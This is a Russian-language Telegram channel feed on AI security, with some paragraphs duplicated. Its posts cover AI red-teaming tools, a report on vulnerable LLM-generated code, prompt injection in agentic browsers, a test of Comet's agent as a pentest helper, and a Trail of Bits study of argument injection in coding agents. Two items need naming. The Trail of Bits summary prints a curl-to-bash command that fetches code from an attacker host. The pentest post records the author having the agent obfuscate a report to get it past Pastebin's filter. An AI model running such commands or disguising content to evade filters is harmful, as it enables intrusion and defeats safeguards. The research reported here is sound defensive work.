Forwarded from Евгений Кокуйкин - Raft
Многие, кто давно следит за каналом, могли заметить, что HiveTrace Red пересекается по функциям с LLAMATOR, о котором я часто писал раньше.
Лламатор появился после хакатона AI Talent Hub в конце 2024 года и развивался в нашей лаборатории AI Security Lab ИТМО. Для закрытия бизнес задач и более глубокой интеграции с платформой HiveTrace мы обсуждали внедрение инструмента, но в итоге было приято решение создать новый продукт HiveTrace Red. Команда магистров продолжает самостоятельно развивать LLAMATOR под некоммерческой лицензией Creative Commons.
Рынок AI Security стремительно растет, и стартапы и крупные компании в России уже активно включаются в эту гонку. Это хороший сигнал раз сообщество принимает новую область, а значит, появляются возможности и для коммерческих команд, и для исследовательских групп. Буквально год назад все было иначе, мы были первыми, кто вышел с публичными релизами в этом направлении.
Желаю авторам LLAMATOR успешного развития проекта. Работа небольшой, но активной команды уже внесла заметный вклад в развитие AI Red Teaming в России.
Сейчас оба продукта участвуют в конкурсе Highload++ Open Source, будем вам благодарны, если поддержите нас или ребят в голосовании.
Лламатор появился после хакатона AI Talent Hub в конце 2024 года и развивался в нашей лаборатории AI Security Lab ИТМО. Для закрытия бизнес задач и более глубокой интеграции с платформой HiveTrace мы обсуждали внедрение инструмента, но в итоге было приято решение создать новый продукт HiveTrace Red. Команда магистров продолжает самостоятельно развивать LLAMATOR под некоммерческой лицензией Creative Commons.
Рынок AI Security стремительно растет, и стартапы и крупные компании в России уже активно включаются в эту гонку. Это хороший сигнал раз сообщество принимает новую область, а значит, появляются возможности и для коммерческих команд, и для исследовательских групп. Буквально год назад все было иначе, мы были первыми, кто вышел с публичными релизами в этом направлении.
Желаю авторам LLAMATOR успешного развития проекта. Работа небольшой, но активной команды уже внесла заметный вклад в развитие AI Red Teaming в России.
Сейчас оба продукта участвуют в конкурсе Highload++ Open Source, будем вам благодарны, если поддержите нас или ребят в голосовании.
Недавно Veracode опубликовал отчёт, в котором исследовал безопасность кода, сгенерированного различными LLM.
Результаты оказались тревожными и ожидаемыми: в 45% случаев ИИ-сгенерированный код содержал уязвимости, включённые в список OWASP Top 10 для веба.💯
Исследование охватило более 100 моделей и 80 программных задач на четырёх языках: Java, JavaScript, C# и Python. Выяснилось, что ни масштаб модели, ни её актуальность не влияют на безопасность генерируемого кода. Хотя синтаксическая корректность за два года существенно возросла, уровень безопасности остался практически неизменным.🤔
Наименее защищённый код генерируется для Java: лишь 28,5% решений оказались безопасными. Этот показатель в 2,1 раза ниже, чем у Python (61,7%), и на 28,5% хуже результата по JavaScript (57%). Причина — в обучающих данных: в Java-проектах исторически преобладают уязвимые примеры, например реализации с SQL-инъекциями.
По разным типам уязвимостей результаты сильно варьируются.😩 Модели эффективно предотвращают SQL-инъекции и некорректное использование криптографических алгоритмов (80–85% безопасного кода). Однако защита от XSS и Log Injection остаётся низкой: безопасные решения встречаются лишь в 13–14% случаев. Причина в том, что для предотвращения таких уязвимостей требуется анализ контекста использования данных и понимание, какие данные нуждаются в очистке. LLM не способны на такой глубокий анализ.
Проблема связана с качеством обучающих данных. В открытых источниках, очевидно, преобладает код с уязвимостями, включая заведомо уязвимые приложения. Модели не умеют различать безопасные и уязвимые паттерны, интерпретируя оба варианта как допустимые решения
Veracode предупреждает, что компании, активно внедряющие ИИ в разработку, могут незаметно увеличивать тех.долг и риски кибербезопасности. Вайб-кодинг создаёт проблемы стабильности решения, а код требует серьёзных усилий по проверке и доработке.🧐
Вывод отчёта однозначен: LLM не могут самостоятельно обеспечить безопасность кода, несмотря на технический прогресс. Обязательными мерами должны быть (кто же, ну конечно) SAST-решения, автофиксы и обучение разработчиков правильному использованию ИИ при генерации кода.
Результаты оказались тревожными и ожидаемыми: в 45% случаев ИИ-сгенерированный код содержал уязвимости, включённые в список OWASP Top 10 для веба.
Исследование охватило более 100 моделей и 80 программных задач на четырёх языках: Java, JavaScript, C# и Python. Выяснилось, что ни масштаб модели, ни её актуальность не влияют на безопасность генерируемого кода. Хотя синтаксическая корректность за два года существенно возросла, уровень безопасности остался практически неизменным.
Наименее защищённый код генерируется для Java: лишь 28,5% решений оказались безопасными. Этот показатель в 2,1 раза ниже, чем у Python (61,7%), и на 28,5% хуже результата по JavaScript (57%). Причина — в обучающих данных: в Java-проектах исторически преобладают уязвимые примеры, например реализации с SQL-инъекциями.
По разным типам уязвимостей результаты сильно варьируются.😩 Модели эффективно предотвращают SQL-инъекции и некорректное использование криптографических алгоритмов (80–85% безопасного кода). Однако защита от XSS и Log Injection остаётся низкой: безопасные решения встречаются лишь в 13–14% случаев. Причина в том, что для предотвращения таких уязвимостей требуется анализ контекста использования данных и понимание, какие данные нуждаются в очистке. LLM не способны на такой глубокий анализ.
Проблема связана с качеством обучающих данных. В открытых источниках, очевидно, преобладает код с уязвимостями, включая заведомо уязвимые приложения. Модели не умеют различать безопасные и уязвимые паттерны, интерпретируя оба варианта как допустимые решения
Veracode предупреждает, что компании, активно внедряющие ИИ в разработку, могут незаметно увеличивать тех.долг и риски кибербезопасности. Вайб-кодинг создаёт проблемы стабильности решения, а код требует серьёзных усилий по проверке и доработке.
Вывод отчёта однозначен: LLM не могут самостоятельно обеспечить безопасность кода, несмотря на технический прогресс. Обязательными мерами должны быть (кто же, ну конечно) SAST-решения, автофиксы и обучение разработчиков правильному использованию ИИ при генерации кода.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7💯2❤1
Рынок AI_Security в России.pdf
7 MB
Всем привет.
Хочу выразить огромную благодарность всем, кто приобрёл наш (совместный с OK ML) отчёт по рынку AI Security на Boosty. Ваша поддержка была критически важной.
Я получил много полезной обратной связи и убедился, что тема действительно востребована. Для тех, кто уже приобрёл отчёт, подготовил бонусы, информацию о которых я отправлю лично тем, кто купил.
После тщательного анализа пришёл к выводу, что AI Security — это критически важная и быстро развивающаяся область для России. Убедившись, что широкое распространение этих знаний принесёт гораздо больше пользы сообществу, чем ограничение доступа (как это было с моими репозиториями на GitHub, к примеру), я принял решение сделать отчёт бесплатным.
Теперь PDF версию отчёта можно найти в этом посте. Если вы считаете материал ценным, поделитесь им с кем-либо) — думаю, что это поможет создать более сильное и осведомлённое сообщество вокруг AI Security.
Отчёт это больше как попытка структуризации - а не как попытка дать оценку чему либо или кому либо.
Хочу выразить огромную благодарность всем, кто приобрёл наш (совместный с OK ML) отчёт по рынку AI Security на Boosty. Ваша поддержка была критически важной.
Я получил много полезной обратной связи и убедился, что тема действительно востребована. Для тех, кто уже приобрёл отчёт, подготовил бонусы, информацию о которых я отправлю лично тем, кто купил.
После тщательного анализа пришёл к выводу, что AI Security — это критически важная и быстро развивающаяся область для России. Убедившись, что широкое распространение этих знаний принесёт гораздо больше пользы сообществу, чем ограничение доступа (как это было с моими репозиториями на GitHub, к примеру), я принял решение сделать отчёт бесплатным.
Теперь PDF версию отчёта можно найти в этом посте. Если вы считаете материал ценным, поделитесь им с кем-либо) — думаю, что это поможет создать более сильное и осведомлённое сообщество вокруг AI Security.
Отчёт это больше как попытка структуризации - а не как попытка дать оценку чему либо или кому либо.
26👍59❤24🔥20👎5
Forwarded from Поросёнок Пётр
OpenAI в данный момент релизит "свой" браузер со свтроенным ChatGPT (никаких сюрпризов).
Но глядя на этот скрин, кажется можно увидеть как начинают нервничать инвесторы Xbow. 😁
Пойду собирать списки страниц где попрошу Atlas браузер поискать мне XSS 😏
PS: Открывается шикарный пласт скрытых промт инъекций, которые поймают доверчивых юзеров и их ai-агентов вместе с их кредитными картами 😂
Но глядя на этот скрин, кажется можно увидеть как начинают нервничать инвесторы Xbow. 😁
Пойду собирать списки страниц где попрошу Atlas браузер поискать мне XSS 😏
PS: Открывается шикарный пласт скрытых промт инъекций, которые поймают доверчивых юзеров и их ai-агентов вместе с их кредитными картами 😂
🔥4
И как вы думаете, что я сделал
🐈 🐈 🐈
Please open Telegram to view this post
VIEW IN TELEGRAM
Некоторые выводы об использовании Browser Use агента из Comet в роли пентест-помощника. Почему его лучше не использовать и в чём всё-таки есть польза.
После предыдущего поста меня заинтересовал вопрос: можно ли заменить пентестера агентом, который сам пройдёт полный цикл — от разведки до отчёта? Спешу огорчить: мои тесты на простом полигоне (не баг-баунти, позже поймёте почему) вовсе не впечатлили. Взял классический OWASP DVWA, потому что проверять сайт без подсказок — это очень долго, да и без контекста потратить можно кучу часов.
Copilot из Comet начал анализировать ресурс, по заголовкам определил уязвимости и принялся генерировать пейлоады, брутить страницы и эксплуатировать дыры - меняя уровни сложности. Из десяти задач решил пять — остальное, видимо, посчитал как "beneath his dignity" – ниже его достоинства. Cloudflare не заметил этого агента, а вот уже Pastebin, куда агент загружал отчёт не пускал его в паблик: слова «атака» и «эксплойт» находились там в красной книге запрещённых слов. Пришлось руками написать, чтобы он обфусцировал отчёт и попробовал снова. Зато сам факт, что он собрал отчёт и скинул его наружу, даёт надежду - полезность есть, но минимальная.
Основная проблема: агент не умеет запускать реальные инструменты. Так что ни против xbow, ни против живого пентестера он не выстоит. К тому же данные, на которых он обучен – не экспертным сообществом собраны, да и закрыты от нас - неизвестно вообще какая там модель под капотом ассистента (мб это модель, сделанная самим перплексити), но это, конечно, недолго останется тайной. Да и работает всё это с такой скоростью, будто агент сначала почитал мануал по кибербезопасности за стаканчиком капучино, где вместо кофе – горячее молоко.
Зато рекон он делает на удивление прилично: смотрит DNS, эндпоинты, даже фаззит структуру сайта - как я два года назад делал в своём скрипте. Думаю, в будущем появятся расширения, которые помогут ему взаимодействовать с браузером для пентеста. Да и исследований будет много по этой теме. Но пока это что-то между «ну ладно» и «не вздумай использовать в бою» - примерно 3 балла из 10 по шкале xbow. Удобно что он ещё и скрипты может генерить - запульнули одни js, он увидел что в нём ошибка и переписал его и запустил вновь.
Ну вы и сами видели наверное статьи где бенчмарчат ллмки на offensive capabilities, честно говоря тут тоже ничего не следовало ожидать.
P.S. Кстати, можно попросить его нарисовать графики для отчёта и сказать менеджерам: «Вас взломал Perplexity». Если конечно вы не устанете ждать.
P.P.S - зато эти браузеры хорошо уязвимы к промпт-инъекциям
После предыдущего поста меня заинтересовал вопрос: можно ли заменить пентестера агентом, который сам пройдёт полный цикл — от разведки до отчёта? Спешу огорчить: мои тесты на простом полигоне (не баг-баунти, позже поймёте почему) вовсе не впечатлили. Взял классический OWASP DVWA, потому что проверять сайт без подсказок — это очень долго, да и без контекста потратить можно кучу часов.
Copilot из Comet начал анализировать ресурс, по заголовкам определил уязвимости и принялся генерировать пейлоады, брутить страницы и эксплуатировать дыры - меняя уровни сложности. Из десяти задач решил пять — остальное, видимо, посчитал как "beneath his dignity" – ниже его достоинства. Cloudflare не заметил этого агента, а вот уже Pastebin, куда агент загружал отчёт не пускал его в паблик: слова «атака» и «эксплойт» находились там в красной книге запрещённых слов. Пришлось руками написать, чтобы он обфусцировал отчёт и попробовал снова. Зато сам факт, что он собрал отчёт и скинул его наружу, даёт надежду - полезность есть, но минимальная.
Основная проблема: агент не умеет запускать реальные инструменты. Так что ни против xbow, ни против живого пентестера он не выстоит. К тому же данные, на которых он обучен – не экспертным сообществом собраны, да и закрыты от нас - неизвестно вообще какая там модель под капотом ассистента (мб это модель, сделанная самим перплексити), но это, конечно, недолго останется тайной. Да и работает всё это с такой скоростью, будто агент сначала почитал мануал по кибербезопасности за стаканчиком капучино, где вместо кофе – горячее молоко.
Зато рекон он делает на удивление прилично: смотрит DNS, эндпоинты, даже фаззит структуру сайта - как я два года назад делал в своём скрипте. Думаю, в будущем появятся расширения, которые помогут ему взаимодействовать с браузером для пентеста. Да и исследований будет много по этой теме. Но пока это что-то между «ну ладно» и «не вздумай использовать в бою» - примерно 3 балла из 10 по шкале xbow. Удобно что он ещё и скрипты может генерить - запульнули одни js, он увидел что в нём ошибка и переписал его и запустил вновь.
Ну вы и сами видели наверное статьи где бенчмарчат ллмки на offensive capabilities, честно говоря тут тоже ничего не следовало ожидать.
P.S. Кстати, можно попросить его нарисовать графики для отчёта и сказать менеджерам: «Вас взломал Perplexity». Если конечно вы не устанете ждать.
P.P.S - зато эти браузеры хорошо уязвимы к промпт-инъекциям
😁4❤1👍1🤣1
Исследователи из Trail of Bits пришли к выводу, что большинство существующих гардрейлов не способно надёжно уберечь AI-агентов от выполнения вредоносных команд. Дело в том, что даже команды, ранее считавшиеся доверенными, могут быть использованы для исполнения произвольного кода — благодаря гибкости, мощи, и необычными флагами стандартных системных утилит.
Даже если агенту запрещено запускать инструменты, типа
Вот несколько ярких примеров таких атак.
Команда
`
что привело к загрузке и выполнению вредоносного скрипта.
Ещё один пример - комбинация
Важно заметить, что такие атаки не требуют прямого взаимодействия с пользователем. Злоумышленник может внедрить вредоносный ввод не только через основной запрос, но и через комментарии в коде, файлы конфигурации, публичные репозитории или даже логи - значительно расширяя поверхность атаки.
Анализируя причины уязвимостей, исследователи выделили две системные архитектурные ошибки:
1. Высокое доверие к фильтрации аргументов - попытки блокировать опасные флаги с помощью регулярных выражений оказываются неустойчивыми и легко обходятся.
2. Прямой запуск системных утилит без строгой валидации параметров - особенно когда пользовательский ввод напрямую подставляется в аргументы команды.
В качестве главной превентивной меры Trail of Bits рекомендует песочницу. Это может быть реализовано через контейнеры, WebAssembly или нативные механизмы ОС (например, Seatbelt на macOS или Landlock на Linux).
Исследователи подчёркивают, что индустрия пока недооценивает риски, связанные с безопасностью ИИ-агентов, во многом из-за отсутствия инцидентов с большими последствиями. Однако по мере того, как такие агенты получают доступ к более чувствительным операциям — от работы с исходным кодом до управления инфраструктурой — окно возможностей для внедрения безопасной архитектуры стремительно сужается.
Trail of bits открыли LOLBAS 😁.
Даже если агенту запрещено запускать инструменты, типа
bash или curl, многие «безопасные» утилиты - например, find, grep, git, go test или ripgrep - содержат флаги и параметры, позволяющие обойти эти ограничения. Именно через них злоумышленники могут добиться RCE, не вызывая подозрений у системы защиты.Вот несколько ярких примеров таких атак.
Команда
go test, считающаяся безвредной, оказалась уязвимой из-за флага -exec, который позволяет указать собственную программу для запуска тестов. С его помощью исследователи внедрили ввод вида: `
go test -exec 'bash -c "curl c2-server.evil.com?unittest= | bash"', что привело к загрузке и выполнению вредоносного скрипта.
Ещё один пример - комбинация
git show и ripgrep. Используя легитимные флаги --format и --output, атакующий смог записать в файл строку вроде open -a calculator, а затем с помощью rg --pre bash выполнить её содержимое. Важно заметить, что такие атаки не требуют прямого взаимодействия с пользователем. Злоумышленник может внедрить вредоносный ввод не только через основной запрос, но и через комментарии в коде, файлы конфигурации, публичные репозитории или даже логи - значительно расширяя поверхность атаки.
Анализируя причины уязвимостей, исследователи выделили две системные архитектурные ошибки:
1. Высокое доверие к фильтрации аргументов - попытки блокировать опасные флаги с помощью регулярных выражений оказываются неустойчивыми и легко обходятся.
2. Прямой запуск системных утилит без строгой валидации параметров - особенно когда пользовательский ввод напрямую подставляется в аргументы команды.
В качестве главной превентивной меры Trail of Bits рекомендует песочницу. Это может быть реализовано через контейнеры, WebAssembly или нативные механизмы ОС (например, Seatbelt на macOS или Landlock на Linux).
Исследователи подчёркивают, что индустрия пока недооценивает риски, связанные с безопасностью ИИ-агентов, во многом из-за отсутствия инцидентов с большими последствиями. Однако по мере того, как такие агенты получают доступ к более чувствительным операциям — от работы с исходным кодом до управления инфраструктурой — окно возможностей для внедрения безопасной архитектуры стремительно сужается.
Trail of bits открыли LOLBAS 😁.
😁3👍2🔥2
Forwarded from Слономойка Вестник
Не хотим нагнетать, но осталось не так много мест на наш мастер-класс 26-го октября в 15:00
Что будем делать? Взламывать AI агента конечно же
Где? Музей Криптографии
Регистрация тут
Что будем делать? Взламывать AI агента конечно же
Где? Музей Криптографии
Регистрация тут
🔥6
Приходите, жду. Мест осталось немного на самом деле. Можно просто посидеть посмотреть 😁